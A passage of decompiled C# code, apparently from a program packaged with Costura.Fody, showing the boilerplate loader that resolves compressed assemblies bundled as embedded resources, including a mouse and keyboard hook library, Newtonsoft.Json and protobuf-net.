		stream.Read(array, 0, array.Length);
		return array;
	}

	private static Assembly ReadFromEmbeddedResources(Dictionary<string, string> assemblyNames, Dictionary<string, string> symbolNames, AssemblyName requestedAssemblyName)
	{
		string assemblyResourceName = GetAssemblyResourceName(requestedAssemblyName);
		byte[] rawAssembly;
		using (Stream stream = LoadStream(assemblyNames, assemblyResourceName))
		{
			if (stream == null)
			{
				return null;
			}
			rawAssembly = ReadStream(stream);
		}
		using (Stream stream2 = LoadStream(symbolNames, assemblyResourceName))
		{
			if (stream2 != null)
			{
				byte[] rawSymbolStore = ReadStream(stream2);
				return Assembly.Load(rawAssembly, rawSymbolStore);
			}
		}
		return Assembly.Load(rawAssembly);
	}

	public static Assembly ResolveAssembly(object sender, ResolveEventArgs e)
	{
		string name = e.Name;
		AssemblyName assemblyName = new AssemblyName(name);
		lock (nullCacheLock)
		{
			if (nullCache.ContainsKey(name))
			{
				return null;
			}
		}
		Assembly assembly = ReadExistingAssembly(assemblyName);
		if ((object)assembly != null)
		{
			return assembly;
		}
		assembly = ReadFromEmbeddedResources(assemblyNames, symbolNames, assemblyName);
		if ((object)assembly == null)
		{
			lock (nullCacheLock)
			{
				nullCache[name] = true;
			}
			if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None)
			{
				assembly = Assembly.Load(assemblyName);
			}
		}
		return assembly;
	}

	static AssemblyLoader()
	{
		assemblyNames.Add("costura", "costura.costura.dll.compressed");
		symbolNames.Add("costura", "costura.costura.pdb.compressed");
		assemblyNames.Add("gma.system.mousekeyhook", "costura.gma.system.mousekeyhook.dll.compressed");
		assemblyNames.Add("invokedcommon", "costura.invokedcommon.dll.compressed");
		assemblyNames.Add("newtonsoft.json", "costura.newtonsoft.json.dll.compressed");
		assemblyNames.Add("protobuf-net", "costura.protobuf-net.dll.compressed");
		assemblyNames.Add("system.diagnostics.diagnosticsource", "costura.system.diagnostics.diagnosticsource.dll.compressed");
	}

	public static void Attach(bool subscribe)
	{
		if (Interlocked.Exchange(ref isAttached, 1) != 1 && subscribe)
		{
			AppDomain currentDomain = AppDomain.CurrentDomain;
			currentDomain.AssemblyResolve += ResolveAssembly;
		}
	}
}
internal class Client_ProcessedByFody
{
	internal const string FodyVersion = "6.8.2.0";

	internal const string Costura = "6.0.0";
}
